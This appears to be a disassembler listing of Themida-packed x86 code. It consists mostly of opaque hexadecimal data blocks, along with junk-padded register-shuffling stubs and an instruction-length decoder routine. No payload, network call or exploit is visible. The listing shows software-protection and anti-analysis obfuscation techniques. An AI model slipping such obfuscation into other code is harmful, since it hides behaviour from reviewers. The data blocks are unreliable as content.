dd 0ADE54CB4h, 84D160A1h, 91D3DFC3h, 0AD546254h, 0BF404C84h dd 0A57D228h, 0F039C272h, 58A50BA3h, 8A41ABDCh, 7D6F249Dh dd 3A5E2C51h, 0E4E975E6h, 5D2DD1AEh, 0D0000007h, 1F6F0514h dd 68B84EDBh, 0B6069C7Dh, 151E74Ah, 80992FFAh, 2207F417h dd 6FC23C8Ch, 0B97889D9h, 52CD323h, 94819A6Fh, 5A7E96B0h dd 0C6CD5238h, 2F41F839h, 0B22A0C5Ah, 1D984292h, 75506BAh dd 0B4963F77h, 0FC4CE247h, 46962C05h, 0CB1527B9h, 3F24BBF7h dd 9BB39726h, 6D3B5492h, 0DA217107h, 0DB20024Fh, 34C14000h dd 258BA849h, 0C61404D8h, 92538C6Fh, 3CA23A87h, 0A6837785h dd 9789C159h, 7CA3C16Bh, 7A245h, 44D0000h, 95h, 0F839C667h dd 93B92F41h, 0E5702D4Dh, 33CB1819h, 2BEC95CDh, 54924A4Bh dd 172EBC0Ah, 63B349E8h, 8546939Eh, 54926AA6h, 639CAA83h dd 39E981CEh, 6F336BC6h, 0AC37CA99h, 9D6127A9h, 4F89E094h dd 4FB56481h, 0EAFC53E9h, 89974CE7h, 8293CBF2h, 0A9F63BC6h dd 0AAF73AC7h, 778997D6h, 0D3987C69h, 52205491h, 0CF079FECh dd 9B66FD0Bh, 0BECDDF96h, 0BF454E2Ah, 2E5D4F87h, 54922358h dd 0A8ED9824h, 0ACD0457Ch, 7BFFFFFEh, 0E150B1BFh, 0F6C4FC94h dd 324h, 0F839C659h, 0D41AEAABh, 84E05491h, 1120DF76h dd 0E916247Bh, 7FA88FFAh, 0C62C172Eh, 0B47D828Eh, 0B3D6A667h dd 0A7585492h, 0B3684C39h, 22F05492h, 78866FBCh, 0C86EA683h dd 0BEFDC9Fh, 955492B4h, 4311C366h, 0C03926DDh, 0C8517E4Eh dd 71D8BCA9h, 92605A7Fh, 9622082Ch, 0A986E4E8h, 5D705h dd 8B8E5600h, 0D455A5F5h, 22F7EE3Eh, 6DC43C8Ch, 0B57487D7h dd 7A9D061Fh, 0C212A881h, 0F5FF53Ch, 59A93FF2h, 20F58BA6h dd 98361A07h, 0D8BE5A7Eh, 0F839C653h dd 0F732C9ABh, 43EE1161h, 8B9E5DADh, 0F435C6D4h, 2ED70FA7h dd 2D7AAF4Ch, 0C4936959h, 55CF237h, 0EF270AF7h, 7CF85D07h dd 2623E45h, 2CE90000h, 5C4592E4h, 0D3765A47h, 0E6FE5491h dd 31C9161Bh, 2EA893CBh, 51AA7F2Eh, 20CABD4Bh, 1BB9207h dd 23Ch, 95AABFACh, 91D3C4A8h, 0EF7E4C54h, 5491D40Bh, 16C86995h dd 266A1048h, 482C19D0h, 0D05491D3h, 7AF4B502h, 9DAA7F2Eh dd 6C164197h, 4DBB9207h, 208h, 2BADBFF8h, 89E7DB2Fh, 0C307ADE5h dd 93A1B66Dh, 0AC6D7867h, 2961F946h, 9251663Eh, 0DFCCE154h dd 549251FBh, 6F7DB583h, 26D8EAA1h, 0B03D63Dh, 4AC4BAF3h dd 3399C4BBh, 65B27783h, 2BEC95CDh, 0AA7F60B1h, 4D38CED4h dd 0BB93C9A3h, 0BC2BD5E3h, 59DEA3Fh, 82BA529Fh, 1AB10h dd 0E42CBB00h, 12EEDB92h, 9A5491D4h, 81967FCCh, 91D3B094h dd 326A3854h, 7F2DCD47h, 1CEAF0AAh, 62CF303Eh, 798422Ah dd 7D79BB92h, 24000001h, 0ABF839C6h, 65FB36C9h, 1811FC0Eh dd 14AD36E5h, 9B0D36DCh, 3BBDCFE4h, 8DF3CBF9h, 4FAE99D1h dd 0CF51775Ah, 6A8E9EB0h, 797E5B7Eh, 795D06EAh, 10C08E5Ah dd 5EF643EEh, 0D92F41F8h, 0A6BCADDAh, 2086AB54h, 9E7E3FE8h dd 395A7924h, 7987A533h, 7A60AD6Ch, 93B3DDC3h, 134BB17Fh dd 9B70812Bh, 2C6240h, 2C0D0000h, 0EDDA91FBh, 5176FC26h dd 0CA8BD8A6h, 5A78FBEAh, 53A0796Ch, 529F8A71h, 0D4D92FDDh dd 0B6A1373Dh, 409BD40Ch, 0B9EDh, 39C69800h, 32C9ABF8h dd 37C8AAF7h, 5A914AB0h, 96682AE2h, 519E046Ah, 0BA1906Fh dd 92394DDCh, 1C364854h, 9B47F015h, 0BE414D85h, 0C0F3DD73h dd 7E8CA158h, 0CC64B180h, 0CDC9A994h, 7B495178h, 0E445B6C4h dd 30C81B2Dh, 19BB3BBCh, 5C9FEFE1h, 0E78BA9CDh, 0DDE4EBh dd 3A35Ch, 0BF5A8A00h, 821D929h, 56C32272h, 0A19070C0h dd 0E940BB0Bh, 0AED13A53h, 0F646DC4Dh, 43932908h, 8DDD73BEh dd 5429BF72h, 996A4E3Bh, 0CF25A7Eh, 0F435C687h, 49B72B3Dh dd 581B7A47h, 0BFD0B4A1h, 8A585492h, 0EF106052h, 7E7D8B42h dd 837C5EABh, 63C961AEh, 7C4A88AFh, 0CE06E0C4h, 0ADBF87DCh dd 0ADB672C6h, 959C6566h, 124AB048h, 8138F906h, 6EA68B73h dd 151CE3C5h, 6471507Fh, 2E595492h, 0F31A07BEh, 7351778Fh dd 0AAB80FA5h, 92A3DB56h, 41F839C6h, 0D35B3F2Ch, 0C4E35491h dd 91D3F3D7h, 47AD7B54h, 7B84660Fh, 509D946Ch, 0D2BC52B8h dd 6B8037A1h, 91D39A7Eh, 1C542254h, 48E2F409h, 0EE543CEBh dd 0EC543825h, 0EDC5491h, 268570A8h, 0A15176F9h, 0F8BB9F8Ch dd 75435A78h, 0DAC72AC1h, 6FA736A5h, 85469361h, 5A7994A5h dd 1DDDEB40h, 0FA10D40Ch, 9B39E58Fh, 23102540h, 5A799D3Fh dd 4FC1F9C7h, 52h, 91FB2CFAh, 0B02FCCDAh, 4179DF4Ah, 0FB7A412Eh dd 0E0F55176h, 78FC0FF3h, 91C9975Ah, 0A768B583h, 5A78FBC7h dd 0AB2CB749h, 790A5B32h, 0AC95E248h, 7961DBBFh, 0E595635Ah dd 57CC1900h, 0B74E53A9h, 83A65462h, 671874Bh, 409B725Ch dd 0D13Dh, 39C6E800h, 32C9ABF8h, 0AFC1AAF7h, 0C2F65C06h dd 0E445B6A9h, 0C53A467Eh, 754DD22h, 0DABC096Fh, 0EACEBB25h dd 72549231h, 51A83EA4h, 3B73BE43h, 9235C150h, 0F53CC354h dd 41F00F5Fh, 0DD4F78F4h, 26463926h, 37495177h, 18ED3E19h dd 0F4023AD1h, 7DA69026h, 167540Bh, 1575F8Eh, 0AF11F5E2h dd 0CB996062h, 8B99AE65h, 0A889755Ah, 255DF542h, 0BDF9E219h dd 95DE5162h, 0B00096FCh, 84BADE4Bh, 4CDF05D1h, 1C2CB6Fh dd 796B0000h, 40BA0AA0h, 0E20353E9h, 0AF51A137h, 5F9CEC82h dd 0B21B34CAh, 27BD6C8Fh, 740A27D7h, 0BE54DD24h, 0AA0916Eh dd 4B2F1C35h, 0D35A7E9Bh, 35C668EDh, 0D3D2B6A3h, 8C5A5491h dd 0FFAA0FD8h, 68CEC68Ch, 0B47D82D2h, 0FB2CC91Eh, 26EDDA91h dd 0A65176FCh, 0EACA8BD8h, 6C5A78FBh, 6E509D94h, 9D4F9C8Dh dd 770E9369h, 46F09B71h, 27409BD4h, 0CAh, 0D0EBBED0h, 5396719Bh dd 34CBAF9Ch, 85535A79h, 0B1BF3C4Dh, 9CA8E049h, 9F81CE63h dd 0B178835Ch, 0AE3DFE4Bh, 0B05491D7h, 0FC4CE24Fh, 65E12E03h dd 2613CA32h, 5176C833h, 80D76D3Bh, 0F5A58C72h, 46EC2405h dd 7F4AB1Dh, 575F7EC2h, 61D02F3Dh, 63CE3214h, 0E0187E16h dd 3F4D04D2h, 80D76DBCh, 1CEA686Eh, 29D1BE39h, 0B51BB300h dd 9F8A717Dh, 5EACD7Bh, 963A17DFh, 0D4h, 0F88E8B59h, 41D752A8h dd 8F25F4F1h, 0DA70C13Fh, 22B8718Ah, 7E7DA009h, 39C515ABh dd 0EF1262F8h, 0A35CAC42h, 0A23F88Eh, 7E9D391Dh, 56DBC15Ah dd 0E34EB1BFh, 0BAC6FE96h, 2331E841h, 6E0653DEh, 0A5CED1BAh dd 639B5BB9h, 53DE2171h, 39C668BDh, 36C9ABF8h, 9D3244FBh dd 0F89D71BAh, 0AB9587BFh, 0FA1FC678h, 7BF0DD94h, 7B517D7Eh dd 817E60ADh, 13EBF9B0h, 139D11Eh, 0F140BF0Fh, 60B92C3Ah dd 64CD3113h, 0E1197F17h, 4FD27738h, 50845B25h, 0DD54ABBAh dd 0E1DEF047h, 0C7629908h, 0CF8CE13h, 0FA37C8D4h, 0FC35CBADh dd 0F4293345h, 6EF86CDDh, 9AE88D36h, 1EE0EE4Ch, 30CFDB13h dd 0E41B6B01h, 0D5C004Dh, 0BD000000h, 2FDF52AFh, 79115ECBh dd 13583041h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h dd 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h dd 0E089506Fh, 405h, 4E88300h, 8B240487h, 65682424h, 89000007h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edi, 0C97197Ch not edi push eax mov eax, 4F387620h or edi, eax pop eax add edi, 673C7A5h push 5DC5h mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], edi xor dword ptr [esp], 1A7E4C78h pop dword ptr [edx+8] xor dword ptr [edx+8], 1A7E4C78h push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_546C33 ; --------------------------------------------------------------------------- dw 7321h dd 0B8C52B01h, 5ECCA8Ch, 0E0FFC503h, 224FD802h, 2C3D54ABh dd 32C60852h, 3A8A638Ch, 0CBBD8D8Dh, 6A05ECh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 880F4BC3h dd 5, 4493CBBFh, 0A98D8933h, 6A05E71Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 897EC352h dd 85C73865h, 5E72A4Dh, 6F40h, 96DBD89h, 85C705E7h, 5E72739h dd 0 dd 3499531h, 0B5FF05E7h, 5E70595h, 23BDB58Bh, 95FF05E7h dd 5E71795h, 6A70C380h, 0C195FF00h, 8B05E721h, 0F84FEBC0h dd 1150FE88h, 548BE7C0h, 6ECAB287h, 6DED502Ah, 6C6BBB77h dd 0EB45899Eh, 1B86A754h, 0AF65460Eh, 0C088CAFCh, 4B66F8F4h dd 0F6D38DFDh, 9C1B5C34h, 7BCBA55Bh, 0EAC245B6h, 5BDC0282h dd 47D953E5h, 18269C98h, 0DEFC0303h, 0CDAA54B0h, 8E8F9E3h dd 0FF000000h, 849B6E3Dh, 8BDBA4A0h, 0E719E995h, 9D895F05h dd 5E7199Dh, 7335C781h, 8D8B0000h, 5E70AB1h, 0BEh, 7FE68000h dd 5B3E34FFh, 81C6B70Fh, 9B9A59F3h, 5E960h, 0CE9D0000h dd 814FD2DEh, 9FE5AC3h, 2D858B3Fh, 8105E706h, 0F8F9FEEBh dd 66D9817Fh, 53267138h, 0CE7ABA66h, 0B937048Fh, 44A2712Eh dd 83CA8B66h, 0B96604EEh, 0FE81A06Dh, 0FFFF8D48h, 0FFAE850Fh dd 0B529FFFFh, 5E72B15h, 0CD2E04EBh, 0FDE96AF4h, 68000004h dd 0B7079D7Ch, 50E643h, 4E9E34E5h, 99E97FB2h, 1831C762h dd 0BA6F8CAFh, 72AD424h, 51E02171h, 9D946BBBh, 2C193207h dd 5A7E9F48h, 0C665EAD0h, 2C41F839h, 91D35B3Fh, 0DD15E354h dd 80A95234h, 0CC659AEAh, 35F40715h, 6F1850E8h, 72BF728Dh dd 72BF6A90h, 77C45590h, 9C80E891h, 0BE6EC06Ch, 0FDA2EF42h dd 170659AFh, 0AE17E757h, 1B4FCF35h, 0A88976CDh, 1118E3F1h dd 131EE2C4h, 338375ADh, 7DCD63CEh, 7E60AD84h, 8264B180h dd 8264B178h, 0C469B663h, 0A81B6076h, 99AE8C5Ah, 922CC8ACh dd 4A825054h, 0D86EC33Eh, 7C697788h, 54922C98h, 9FEC5220h dd 0D859A8B6h, 2CD6B5A0h, 3D9F5492h, 0A512BCAFh, 63F3457Ch dd 9E000000h, 0ABF839C6h, 91D40CEAh, 0BE738E54h, 6E728F71h dd 91D39D81h, 0F1572554h, 28BEF2A4h, 4298FA63h, 7CFC6D17h dd 14E45h, 0C6F90000h, 0A6E4A734h, 0D3C2F198h, 57A8B66Dh dd 0BDF58DDAh, 10C83214h, 92093F23h, 93F9C754h, 959C6446h dd 94629648h, 35EC3DBDh, 292D5523h, 134BC409h, 32ED121h dd 35C6186Dh, 35C5A7F4h, 3CC5A7F4h, 38C6A8F5h, 69C6ACF9h dd 946E1D1Eh, 5DABF96Ch, 0EB38F906h, 5B4BED53h, 0E445B68Dh dd 3001FE4Eh, 35E401E3h, 0BCCA1FE8h, 69EEB3Eh, 5EFC0ACEh dd 0C95F354Ch, 97475705h, 0A68EC663h, 457C5AECh, 82EDh dd 35C69800h, 0C76A95A3h, 91D35438h, 0A80EDC54h, 0CB1CE3F1h dd 4B98FE33h, 0F0D27BB3h, 2E6D3F5h, 8A5491D4h, 570956BCh dd 7D7ED523h, 35C616ACh, 26DA57AAh, 0C4E89B14h, 53A0062Fh dd 8DA45C6Ah, 92875E40h, 0F47AD45h, 0E734FD03h, 97C2181Eh dd 457C22FDh, 60DEh, 35C68900h, 0D22F3DF4h, 9C7E275Fh dd 0AA8E7B65h, 325491D3h, 0CFB1FE64h, 0CEB0FD2Ch, 3FB40130h dd 0F3367B91h, 5BA0B745h, 0BFE338CEh, 348440ADh, 0DC14C836h dd 48FF2AD0h, 12624633h, 1CEA5492h, 9B7A3BE4h, 64549212h dd 0D781F402h, 17457CC3h, 34874005h, 0D585AB47h, 5DCF072Ah dd 1, 0FA1FC608h, 0FD34CBADh, 6AC73846h, 0A44D851Dh, 0C5BB1FFh dd 53AA40D9h, 583C293Eh, 0E05491D3h, 0D39F8312h, 59275491h dd 0E0487B21h, 0FC693C29h, 23F15176h, 260BF4D6h, 28BF4090h dd 720A57D2h, 2B40550Ch, 79025A3Eh, 8514E25Ah, 5A7902A1h dd 7A235B29h, 7902DBB9h, 0CE1CCA5Ah, 13A98877h, 0A8F53CC3h dd 51AE39C6h, 7BC86996h, 0CA177DE3h, 61F006F6h, 0D1FD939Eh dd 409BD327h, 11908h, 0FB2CB300h, 3926BA47h, 5491D355h dd 43A90FDDh, 0F9389F8Ch, 25335176h, 122058D9h, 0FC0EF744h dd 2EB72AC3h, 37B037EBh, 0B14E5A92h, 8193EA80h, 35D29222h dd 0D3DF17D5h, 0CFB8052Ch, 0A6F33EC1h, 90F63BC4h, 7EB34C58h dd 91E5D31h, 78F6381Ch, 0BAF2C05Ah, 0AE51E0F6h, 17C1ED83h dd 0F8409BDEh, 40h, 0C66B93A1h, 98A9E179h, 0DB92E42Ch dd 91D3DAEEh, 0D6C3E254h, 5491D4F2h, 0E9FCAC7Ah, 0E54BE330h dd 44A1AF98h, 0CEB29DD5h, 9C5491D4h, 0C901AA40h, 0AFC3B067h dd 0B75491D4h, 774153E9h, 0A4000000h, 0DA91FB2Ch, 76DB96EDh dd 91481651h, 3F1B4F7Fh, 0AFE762E5h, 56DB2406h, 0A28F70C0h dd 0E23DDEBh, 36442DD6h, 7F1764C5h, 68F35C47h, 0BC6A5A79h dd 49E8172Eh, 0B56B7D92h, 4288498Dh, 88573BCAh, 11DF5A79h dd 0CAFDE7D9h, 77BEAB62h, 0F75764D5h, 5FADC29h, 0EC3ADF2Ch dd 0C17AAD1Eh, 6655F0D4h, 44AA7860h, 916A788Dh, 177DAC4Eh dd 0A2ADF4DFh, 5F2D5D51h, 0FB2C74C9h, 0B7C5DA91h, 69EEB2Eh dd 209CE3CEh, 4E1C517Dh, 0F60A1801h, 0D7240DF1h, 95A1D93Fh dd 210C76Ah, 1E330F9h, 4CE43100h, 6CBCAEE6h, 90519E93h dd 41769CF6h, 57EEFC30h, 0C0D289A8h, 76388344h, 2A1C547Eh dd 0BF0C25DAh, 0C10E23DDh, 0C00D1CDFh, 0C20F22DEh, 0C10E1BE0h dd 6775A929h, 8359A71Ah, 2FE64BB4h, 1951E021h, 0B828D727h dd 965CE7CBh, 3BA16FC9h, 0C4AEEh, 58AD0000h, 3012FF11h dd 601362E2h, 1EC61728h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh dd 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h db 8, 0BBh, 6Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push 11FAh mov [esp], edi push 5ECCCA2h mov eax, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push ebx mov ebx, 8 add ebx, edi push ecx mov ecx, eax mov [ebx], ecx pop ecx pop ebx mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_546C33 ; --------------------------------------------------------------------------- dd 0DC562DD5h, 0ECD11EB8h, 0FFC50305h, 0A7A55FE0h, 0B215E34Ah dd 1BD1D379h, 0E29E4C63h, 0A68F1229h, 0ED002F79h, 0F94F204h dd 94854A31h, 4847905Dh, 21BC5552h, 2BEBF341h, 0D2794B36h dd 5BF2C805h, 3803923Ch, 1C8E96Ah, 88880000h, 7 dup(88880041h) dd 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 5ECD3B8h, 585C760h dd 5ECD3h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 5ECD309h dd 6, 24E9h, 0D858D00h, 5005ECD3h, 0D35D858Dh, 565005ECh dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 0ECD30985h dd 0B5036105h, 5ECD309h, 0D305858Bh, 0C35D05ECh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59BFE9 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59BFF5 ; --------------------------------------------------------------------------- loc_59BFE9: ; CODE XREF: Themida_:0059BFD2j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59BFF5: ; CODE XREF: Themida_:0059BFE4j push ebx push esi push edi loc_59BFF8: ; CODE XREF: Themida_:0059C04Dj ; Themida_:0059C069j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59C00B: ; CODE XREF: Themida_:0059C032j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5ECD46Fh lea ebp, [ebp+5ECD2E5h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59C038 inc cl cmp cl, 0Bh jb loc_59C00B loc_59C038: ; CODE XREF: Themida_:0059C027j cmp cl, 0Bh jz loc_59C095 cmp al, 66h jnz loc_59C076 cmp byte ptr [ebp-5], 0 jnz loc_59BFF8 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59C06E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59BFF8 ; --------------------------------------------------------------------------- loc_59C06E: ; CODE XREF: Themida_:0059C05Bj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59C076: ; CODE XREF: Themida_:0059C043j cmp al, 67h jnz loc_59BFF8 cmp byte ptr [ebp-6], 0 jnz loc_59BFF8 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59BFF8 ; --------------------------------------------------------------------------- loc_59C095: ; CODE XREF: Themida_:0059C03Bj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59C0C1 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59C0C6 ; --------------------------------------------------------------------------- loc_59C0C1: ; CODE XREF: Themida_:0059C0A0j movzx edi, al shr edi, 1 loc_59C0C6: ; CODE XREF: Themida_:0059C0BCj push ebp call $+5 pop ebp sub ebp, 5ECD527h lea ebp, [ebp+5ECD1E5h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59C248 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59C18C dec ecx jz loc_59C16F dec ecx jnz loc_59C1DF cmp byte ptr [ebp-2], 0 jnz loc_59C1DB cmp byte ptr [ebp-5], 0 jz loc_59C14E mov byte ptr [ebp+0Bh], 2 loc_59C14E: ; CODE XREF: Themida_:0059C144j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5ECD5B3h mov dword ptr [ebp+5ECD305h], 1 pop ebp jmp loc_59C1DF ; --------------------------------------------------------------------------- loc_59C16F: ; CODE XREF: Themida_:0059C129j cmp byte ptr [ebp-2], 0 jnz loc_59C1B9 cmp byte ptr [ebp-5], 0 jz loc_59C1B9 mov byte ptr [ebp+0Bh], 2 jmp loc_59C1B9 ; --------------------------------------------------------------------------- loc_59C18C: ; CODE XREF: Themida_:0059C122j cmp byte ptr [ebp-2], 0 jnz loc_59C1D2 cmp byte ptr [ebp-5], 0 jz loc_59C1C1 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59C1B9 mov [ebp+0Bh], cl loc_59C1B9: ; CODE XREF: Themida_:0059C173j ; Themida_:0059C17Dj ... inc byte ptr [ebp+0Bh] jmp loc_59C1DF ; --------------------------------------------------------------------------- loc_59C1C1: ; CODE XREF: Themida_:0059C19Aj cmp dl, 5 jnz loc_59C1DF mov [ebp+0Bh], dl jmp loc_59C1DF ; --------------------------------------------------------------------------- loc_59C1D2: ; CODE XREF: Themida_:0059C190j cmp dl, 6 jnz loc_59C1DF loc_59C1DB: ; CODE XREF: Themida_:0059C13Aj mov byte ptr [ebp+0Bh], 3 loc_59C1DF: ; CODE XREF: Themida_:0059C130j ; Themida_:0059C16Aj ... dec byte ptr [ebp+0Bh] jz loc_59C20D movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59C1EF: ; CODE XREF: Themida_:0059C205j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59C1EF mov esi, edx loc_59C20D: ; CODE XREF: Themida_:0059C1E2j and al, 0FEh cmp al, 0F6h jnz loc_59C242 cmp edi, 7Fh ja loc_59C242 test bl, 38h jnz loc_59C242 cmp byte ptr [ebp-7], 0 jz loc_59C23C movzx eax, byte ptr [ebp-4] jmp loc_59C23F ; --------------------------------------------------------------------------- loc_59C23C: ; CODE XREF: Themida_:0059C22Dj push 1 pop eax loc_59C23F: ; CODE XREF: Themida_:0059C237j mov [ebp-1], al loc_59C242: ; CODE XREF: Themida_:0059C211j ; Themida_:0059C21Aj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59C248: ; CODE XREF: Themida_:0059C0F2j mov al, bl and eax, 7 sub eax, 4 jz loc_59C273 dec eax dec eax jz loc_59C269 and bl, 7 add [ebp-1], bl jmp loc_59C27B ; --------------------------------------------------------------------------- loc_59C269: ; CODE XREF: Themida_:0059C258j mov al, [ebp-3] add al, 6 jmp loc_59C278 ; --------------------------------------------------------------------------- loc_59C273: ; CODE XREF: Themida_:0059C250j mov al, [ebp-3] add al, 4 loc_59C278: ; CODE XREF: Themida_:0059C26Ej add [ebp-1], al loc_59C27B: ; CODE XREF: Themida_:0059C264j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59C2A3 movzx ecx, byte ptr [ebp-1] inc ecx loc_59C28E: ; CODE XREF: Themida_:0059C29Dj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59C28E loc_59C2A3: ; CODE XREF: Themida_:0059C283j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLS db '‹Ðè',0Dh,0 align 10h dd 893B3C00h, 0EA9825F8h, 817BCC00h, 0F60BCADh, 5E61FEBFh dd 0C61EE781h, 0C6817E84h, 612Bh, 183168F9h, 81660000h dd 583D24E2h, 36FFCE8Ah, 8F0F5BF5h, 1, 4EEB81FCh, 0FC3682F1h dd 4526C381h, 88B96A7Dh, 816F7BD1h, 0E7816AC3h, 7AACBF7Ah dd 1E892A65h, 4070B3B9h, 4EE8356h, 0C7850F48h, 66FFFFFFh dd 2937E981h, 98E9h, 9400h, 500h, 100h, 0A2800h, 200h dd 20h dup(0) dd 0BF01BB00h, 0AC5E942h, 95680000h, 0E905ECD9h, 0FFFAA86Bh dd 0ECDA6F68h, 0A861E905h, 5468FFFAh, 0E905ECDBh, 0FFFAA857h dd 0ECDBCC68h, 0A84DE905h, 0F368FFFAh, 0E905ECDCh, 0FFFAA843h dd 0ECDD4C68h, 0A839E905h, 6B68FFFAh, 0E905ECE0h, 0FFFAA82Fh dd 0ECE15768h, 0A825E905h, 0B52FFFFAh, 7C7ECE64h, 1EC717ADh dd 0EB1565FBh, 9B60B046h, 76DFF88Eh, 0EB81A853h, 38CE639Bh dd 821819E8h, 0CE64CD32h, 0FF3E0F9h, 975A7EACh, 39C62CB1h dd 0ADC2ABF8h, 91D3DCC0h, 5E966454h, 0EE84AD52h, 0F31BD304h dd 3B47839Dh, 7B681F85h, 5177AC1Ch, 0B9788997h, 58A57381h dd 79ABB797h, 6AC7395Ah, 69C03B1Dh, 0E3F9A71Ch, 0EB01079Eh dd 9B20D680h, 0DD081640h, 3D92043Ch, 3D000000h, 0E150B1BFh dd 1EC4FC94h, 0DFCC83F5h, 5176FC18h, 0BC7DCA98h, 5A78FBDCh dd 2F102277h, 0AB20DF3Ah, 3000E4D1h, 0BA885A79h, 82581C54h dd 9BA02DD7h, 0B10E40h, 0A9B70000h, 90A1D958h, 0ABF839C6h dd 0AAF732C9h, 4BB037C8h, 93F991DEh, 0F6DAC7DCh, 7E5491D3h dd 1C51FCB0h, 8FF94D25h, 33CCAE57h, 543968FEh, 565491E5h dd 0A2F288A9h, 0BD748A5Dh, 0E6351906h, 0EFBD5491h, 97C03C89h dd 96816E25h, 9E5176E9h, 0D1E33AD0h, 0A32F615Fh, 0C369A10Fh dd 84712890h, 57606037h, 2432E9B7h, 6CBC52D7h, 0AD769A8Fh dd 0BDDF04A1h, 8A23CE0h, 895B0000h, 50AAFA90h, 0F2F343D9h dd 0BF419127h, 6F8CDC72h, 0A20B24BAh, 17AD7C7Fh, 64FA37C7h dd 0AE44ED14h, 0FA90A15Eh, 3B1F0C25h, 0C35A7EADh, 35C658DDh dd 0F10E5EF4h, 0BF55AA40h, 0A8E049B1h, 0B067D102h, 76FBFCC3h dd 61AE7C51h, 78FBC0A0h, 0F4065B5Ah, 9A20396Ch, 0BC80B8BAh dd 0B1913B2Eh, 0BC72409Bh, 1D000000h, 53AE39C6h, 93F991DEh dd 92976446h, 0FF32CDDBh, 785D1EC7h, 735491D7h, 5D959C65h dd 4532AE51h, 5491D761h, 1FB51BE9h, 0B40130CFh, 0A7530F38h dd 379D3582h, 0DBA89380h, 0E2B05176h, 7931624Ch, 41E71F17h dd 0A0CF83FEh, 0CAAD5447h, 7D9249AFh, 7910AC90h, 2E66345Ah dd 9FD02E1Bh, 8250575Fh, 0EB3EBDCBh, 33F60555h, 5601E0Fh dd 0DB18EDFh, 7C8h, 0D46AAF35h, 1DB37684h, 6B0118CDh, 0B64CE51Bh dd 0FE949566h, 0A2597CE5h, 5DA1F187h, 13EE3ED4h, 0C738881Eh dd 0E6FFD46Ah, 7EAE15F9h, 32B79D5Ah, 5EF435C6h, 0AA40F10Eh dd 5A1E4153h, 3B0719EEh, 6FBC758Bh, 